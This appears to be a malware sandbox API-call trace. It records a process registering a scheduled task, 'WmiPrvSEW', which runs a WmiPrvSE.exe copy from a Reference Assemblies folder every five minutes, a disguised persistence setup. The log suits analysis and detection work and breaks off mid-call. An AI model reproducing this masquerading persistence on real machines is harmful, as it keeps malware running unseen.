[0087.777] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.777] lstrlenW (lpString="|ed|") returned 4 [0087.777] lstrlenW (lpString="|f|") returned 3 [0087.777] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0087.777] SetLastError (dwErrCode=0x490) [0087.777] lstrlenW (lpString="it") returned 2 [0087.777] lstrlenW (lpString="it") returned 2 [0087.777] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.777] lstrlenW (lpString="f") returned 1 [0087.777] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.778] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|it|") returned 4 [0087.778] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.778] lstrlenW (lpString="|it|") returned 4 [0087.778] lstrlenW (lpString="|f|") returned 3 [0087.778] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0087.778] SetLastError (dwErrCode=0x490) [0087.778] lstrlenW (lpString="et") returned 2 [0087.778] lstrlenW (lpString="et") returned 2 [0087.778] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.778] lstrlenW (lpString="f") returned 1 [0087.778] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.778] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|et|") returned 4 [0087.778] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.778] lstrlenW (lpString="|et|") returned 4 [0087.778] lstrlenW (lpString="|f|") returned 3 [0087.778] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0087.778] SetLastError (dwErrCode=0x490) [0087.778] lstrlenW (lpString="k") returned 1 [0087.778] lstrlenW (lpString="k") returned 1 [0087.778] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.778] lstrlenW (lpString="f") returned 1 [0087.778] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.779] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|k|") returned 3 [0087.779] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.779] lstrlenW (lpString="|k|") returned 3 [0087.779] lstrlenW (lpString="|f|") returned 3 [0087.779] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0087.779] SetLastError (dwErrCode=0x490) [0087.779] lstrlenW (lpString="du") returned 2 [0087.779] lstrlenW (lpString="du") returned 2 [0087.779] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.779] lstrlenW (lpString="f") returned 1 [0087.779] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.779] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|du|") returned 4 [0087.779] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.779] lstrlenW (lpString="|du|") returned 4 [0087.779] lstrlenW (lpString="|f|") returned 3 [0087.779] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0087.779] SetLastError (dwErrCode=0x490) [0087.779] lstrlenW (lpString="ri") returned 2 [0087.779] lstrlenW (lpString="ri") returned 2 [0087.779] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.779] lstrlenW (lpString="f") returned 1 [0087.779] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.779] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ri|") returned 4 [0087.779] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.779] lstrlenW (lpString="|ri|") returned 4 [0087.780] lstrlenW (lpString="|f|") returned 3 [0087.780] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0087.780] SetLastError (dwErrCode=0x490) [0087.780] lstrlenW (lpString="z") returned 1 [0087.780] lstrlenW (lpString="z") returned 1 [0087.780] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.780] lstrlenW (lpString="f") returned 1 [0087.780] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.780] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|z|") returned 3 [0087.780] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.780] lstrlenW (lpString="|z|") returned 3 [0087.780] lstrlenW (lpString="|f|") returned 3 [0087.780] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0087.780] SetLastError (dwErrCode=0x490) [0087.780] lstrlenW (lpString="f") returned 1 [0087.780] lstrlenW (lpString="f") returned 1 [0087.780] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.780] lstrlenW (lpString="f") returned 1 [0087.780] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.780] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.780] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|f|") returned 3 [0087.780] lstrlenW (lpString="|f|") returned 3 [0087.780] lstrlenW (lpString="|f|") returned 3 [0087.780] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0087.780] SetLastError (dwErrCode=0x0) [0087.780] SetLastError (dwErrCode=0x0) [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce80 [0087.781] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.781] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0087.781] lstrlenW (lpString="MINUTE") returned 6 [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd6d0 [0087.781] GetThreadLocale () returned 0x409 [0087.781] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0087.781] SetLastError (dwErrCode=0x0) [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x1fc) returned 0xfc4c0 [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce50 [0087.781] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.781] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0087.781] lstrlenW (lpString="First") returned 5 [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfd6f0 [0087.781] GetProcessHeap () returned 0xe0000 [0087.781] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfce20 [0087.782] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.782] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0087.782] lstrlenW (lpString="Second") returned 6 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd710 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdf0 [0087.782] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.782] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0087.782] lstrlenW (lpString="Third") returned 5 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfd730 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcdc0 [0087.782] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.782] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0087.782] lstrlenW (lpString="Fourth") returned 6 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd750 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd90 [0087.782] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.782] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0087.782] lstrlenW (lpString="Last") returned 4 [0087.782] GetProcessHeap () returned 0xe0000 [0087.782] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xa) returned 0xfd770 [0087.783] lstrlenW (lpString="5") returned 1 [0087.783] _wtol (_String="5") returned 5 [0087.783] GetProcessHeap () returned 0xe0000 [0087.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x20) returned 0xfcd60 [0087.783] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.783] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0087.783] lstrlenW (lpString="First") returned 5 [0087.783] GetProcessHeap () returned 0xe0000 [0087.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xc) returned 0xfd790 [0087.783] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.783] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0087.783] lstrlenW (lpString="Second") returned 6 [0087.783] GetProcessHeap () returned 0xe0000 [0087.783] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd7b0 [0087.783] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.783] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0087.783] lstrlenW (lpString="Third") returned 5 [0087.783] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.783] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0087.783] lstrlenW (lpString="Fourth") returned 6 [0087.783] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.783] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0087.783] lstrlenW (lpString="Last") returned 4 [0087.784] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc4e0, cchData=128 | out: lpLCData="0") returned 2 [0087.784] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.784] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0087.784] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6f0) returned 1 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd6f0) returned 0xc [0087.784] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6f0 | out: hHeap=0xe0000) returned 1 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd6f0 [0087.784] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbc500, cchData=128 | out: lpLCData="0") returned 2 [0087.784] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.784] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0087.784] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd710) returned 1 [0087.784] GetProcessHeap () returned 0xe0000 [0087.784] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd710) returned 0xe [0087.784] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd710 | out: hHeap=0xe0000) returned 1 [0087.785] GetProcessHeap () returned 0xe0000 [0087.785] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x16) returned 0xfd710 [0087.785] GetLocalTime (in: lpSystemTime=0xbc730 | out: lpSystemTime=0xbc730*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x8e)) [0087.785] lstrlenW (lpString="") returned 0 [0087.785] GetLocalTime (in: lpSystemTime=0xbcfe8 | out: lpSystemTime=0xbcfe8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x8e)) [0087.785] lstrlenW (lpString="") returned 0 [0087.785] lstrlenW (lpString="") returned 0 [0087.785] lstrlenW (lpString="") returned 0 [0087.785] lstrlenW (lpString="") returned 0 [0087.785] lstrlenW (lpString="5") returned 1 [0087.785] _wtol (_String="5") returned 5 [0087.785] lstrlenW (lpString="") returned 0 [0087.785] lstrlenW (lpString="") returned 0 [0087.785] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0087.838] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0087.913] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbcdb0 | out: ppv=0xbcdb0*=0x27dee0) returned 0x0 [0087.925] TaskScheduler:ITaskService:Connect (This=0x27dee0, serverName=0xbce90*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbce50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbce70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbce30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0088.024] TaskScheduler:IUnknown:AddRef (This=0x27dee0) returned 0x2 [0088.024] TaskScheduler:ITaskService:GetFolder (in: This=0x27dee0, Path=0x0, ppFolder=0xbcf48 | out: ppFolder=0xbcf48*=0x267de0) returned 0x0 [0088.028] TaskScheduler:ITaskService:NewTask (in: This=0x27dee0, flags=0x0, ppDefinition=0xbcf40 | out: ppDefinition=0xbcf40*=0x267e30) returned 0x0 [0088.028] ITaskDefinition:get_Actions (in: This=0x267e30, ppActions=0xbcec0 | out: ppActions=0xbcec0*=0x267ef0) returned 0x0 [0088.028] IActionCollection:Create (in: This=0x267ef0, Type=0, ppAction=0xbcee0 | out: ppAction=0xbcee0*=0x2666e0) returned 0x0 [0088.029] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.029] lstrlenW (lpString="'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'") returned 68 [0088.029] lstrlenW (lpString=" ") returned 1 [0088.029] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.029] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.029] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0088.029] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0088.030] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0088.030] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0088.031] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0088.031] IUnknown:Release (This=0x2666e0) returned 0x1 [0088.031] IUnknown:Release (This=0x267ef0) returned 0x1 [0088.031] ITaskDefinition:get_Triggers (in: This=0x267e30, ppTriggers=0xbca40 | out: ppTriggers=0xbca40*=0x2664b0) returned 0x0 [0088.032] ITriggerCollection:Create (in: This=0x2664b0, Type=1, ppTrigger=0xbca38 | out: ppTrigger=0xbca38*=0x266750) returned 0x0 [0088.032] lstrlenW (lpString="5") returned 1 [0088.032] _vsnwprintf (in: _Buffer=0xbc9c0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc9b8 | out: _Buffer="PT5M") returned 4 [0088.032] ITrigger:get_Repetition (in: This=0x266750, ppRepeat=0xbca30 | out: ppRepeat=0xbca30*=0x2667e0) returned 0x0 [0088.032] IRepetitionPattern:put_Interval (This=0x2667e0, Interval="PT5M") returned 0x0 [0088.032] IUnknown:Release (This=0x2667e0) returned 0x1 [0088.032] _vsnwprintf (in: _Buffer=0xbc980, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc958 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0088.032] ITrigger:put_StartBoundary (This=0x266750, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0088.032] lstrlenW (lpString="") returned 0 [0088.032] lstrlenW (lpString="") returned 0 [0088.032] lstrlenW (lpString="") returned 0 [0088.032] lstrlenW (lpString="") returned 0 [0088.033] IUnknown:Release (This=0x266750) returned 0x1 [0088.033] IUnknown:Release (This=0x2664b0) returned 0x1 [0088.033] ITaskDefinition:get_Settings (in: This=0x267e30, ppSettings=0xbcee0 | out: ppSettings=0xbcee0*=0x266520) returned 0x0 [0088.033] lstrlenW (lpString="") returned 0 [0088.033] IUnknown:Release (This=0x266520) returned 0x1 [0088.033] GetLocalTime (in: lpSystemTime=0xbcd98 | out: lpSystemTime=0xbcd98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xc, wMilliseconds=0x188)) [0088.033] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0088.033] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0088.033] GetUserNameW (in: lpBuffer=0xbcdc0, pcbBuffer=0xbcda8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbcda8) returned 1 [0088.034] ITaskDefinition:get_RegistrationInfo (in: This=0x267e30, ppRegistrationInfo=0xbcd90 | out: ppRegistrationInfo=0xbcd90*=0x2663f0) returned 0x0 [0088.034] IRegistrationInfo:put_Author (This=0x2663f0, Author="") returned 0x0 [0088.034] _vsnwprintf (in: _Buffer=0xbcdc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbcd58 | out: _Buffer="2023-09-19T17:17:12") returned 19 [0088.034] IRegistrationInfo:put_Date (This=0x2663f0, Date="") returned 0x0 [0088.034] IUnknown:Release (This=0x2663f0) returned 0x1 [0088.035] malloc (_Size=0x18) returned 0x266860 [0088.035] free (_Block=0x266860) [0088.035] lstrlenW (lpString="") returned 0 [0088.035] malloc (_Size=0x18) returned 0x266860 [0088.035] ITaskFolder:RegisterTaskDefinition (in: This=0x267de0, Path="WmiPrvSEW", pDefinition=0x267e30, flags=6, UserId=0xbd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbef40, varVal2=0xfe), LogonType=3, sddl=0xbd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbcf50 | out: ppTask=0xbcf50*=0x266a00) returned 0x0 [0088.541] free (_Block=0x266860) [0088.541] _memicmp (_Buf1=0xfbc00, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.541] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0xfd410, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0088.541] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0088.541] GetProcessHeap () returned 0xe0000 [0088.541] GetProcessHeap () returned 0xe0000 [0088.541] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd730) returned 1 [0088.541] GetProcessHeap () returned 0xe0000 [0088.541] RtlSizeHeap (HeapHandle=0xe0000, Flags=0x0, MemoryPointer=0xfd730) returned 0xc [0088.542] HeapFree (in: hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd730 | out: hHeap=0xe0000) returned 1 [0088.542] GetProcessHeap () returned 0xe0000 [0088.542] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x82) returned 0x119d60 [0088.542] _vsnwprintf (in: _Buffer=0xbd690, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbcef8 | out: _Buffer="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n") returned 71 [0088.542] _fileno (_File=0x7feffe22ab0) returned -2 [0088.542] _errno () returned 0x264bb0 [0088.542] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0088.542] SetLastError (dwErrCode=0x6) [0088.542] lstrlenW (lpString="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n") returned 71 [0088.542] GetConsoleOutputCP () returned 0x0 [0088.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0088.542] GetConsoleOutputCP () returned 0x0 [0088.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSEW\" has successfully been created.\n", cchWideChar=71, 